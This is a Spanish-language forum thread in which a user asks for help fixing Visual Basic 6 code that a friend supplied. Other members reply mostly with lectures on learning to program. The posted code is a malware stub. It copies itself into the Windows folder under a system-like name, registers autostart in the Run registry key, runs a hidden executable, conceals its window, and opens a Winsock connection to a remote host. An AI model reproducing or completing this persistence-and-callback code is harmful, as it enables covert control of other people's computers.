problema "procedimiento sub o function no definido"

[.:UND3R:.]

Hola a todos bueno tengo este problema he modificado esta parte del código por lo que alguna parte de esta está mal, si alguien me puediera ayudar, Gracias

Código (vb) [Seleccionar] Expandir

Private Sub Form_Load()
On Error Resume Next


If Dir(Environ("Windir") & "\winsetup32.exe") = vbNullString Then
FileCopy App.path & "\" & App.EXEName & ".exe", Environ("Windir") & "\winsetup32.exe"

qazwsx = Environ("Windir") & "\asd.exe"
edcrfv = App.Title
 
 
zxccxz = edccde(HKEY_LOCAL_MACHINE, _
                    RAMA_RUN_WINDOWS, _
                    edcrfv, _
                    qazwsx, REG_SZ)

End
End If

   Dim ppplooo As String
   ppplooo = Environ("Windir") & "\asd.exe"

   If InStr(LCase$(IsWay("asd.exe")), LCase$(ppplooo)) > 0 Then
    MsgBox "Corre"
    End
   Else
    Shell Environ("Windir") & "\asd.exe", vbHide
    MsgBox "asd"
   End If

App.TaskVisible = False
Me.Visible = False
App.Title = ""
Me.Caption = ""
With Winsock1
.Close
.Connect "asd.asd.com", 4319
End With
End Sub

No se nada de programación, un amigo me dijo que introdujera eso pero en verdad no logro conseguirlo

[BlackZeroX]

.
No te dire que uses option explicit, ni que intentes, bueno nada, solo si gustas sigue leyendo:

Según veo y con ese trozo de código te falta el proceso  "edccde", de igual manera dinos que error te salta, y de paso lee algo básico sobre programación ( POO, programación modular, programación genérica aun que este ultimo se trabaja mucho en vb6 que digamos ), ya que lo único que deberás esperar de la ignorancia sobre el tema es que te lleguen a hablar con tecnicismos.

En conclusión o aprendes algo básico para así TRATAR de arreglar un problema X o contratas a alguien que sepa o le pides todo completo a tu amigo.

Nota: Tu problema no es el código es la ignorancia hacia una campo, como lo es mi ignorancia hacia otros campos como la Química por ejemplo.

Nos vemos seguiré viendo mi película xP.

Dulces Lunas!¡.

[raul338]

No se nada de programación, un amigo me dijo que introdujera eso pero en verdad no logro conseguirlo

Un periodista le preguntó a Einstein:
- "¿Me puede Ud. Explicar la Ley de la Relatividad?"
Y Einstein le contestó:
- "¿Me puede Ud. Explicar cómo se fríe un huevo?"
El periodista lo miró extrañado y le contesta:
- "Pues, sí, sí que puedo".
A lo cual Einstein replicó:
- "Bueno, pues hágalo, pero imaginando que yo no sé lo que es un huevo, ni una sartén, ni el aceite, ni el fuego".

(Era la firma de seba123neo)

Ese es tu problema, no sabes programar, y quieres hacer algo que implica ser algo mas que principiante en programación , ese código es un "mix" de otros códigos, que al parecer falta mas para continuarlo
Pregúntale al que lo programo, para que sirve y porque le puso esos nombres ofuscados, o leete un tutorial de programación

[79137913]

HOLA!!!

Para aprender CLICKEAME

GRACIAS POR LEER!!!

[.:UND3R:.]

Bueno estoy estudiando otras cosas a lo que concierne a informática a la que le dedico casi todo el día, por lo que por eso acudí a ustedes, una ayuda más que todo, gracias por el dato black-zero
creo que lo demás comentarios están demás
Muchas gracias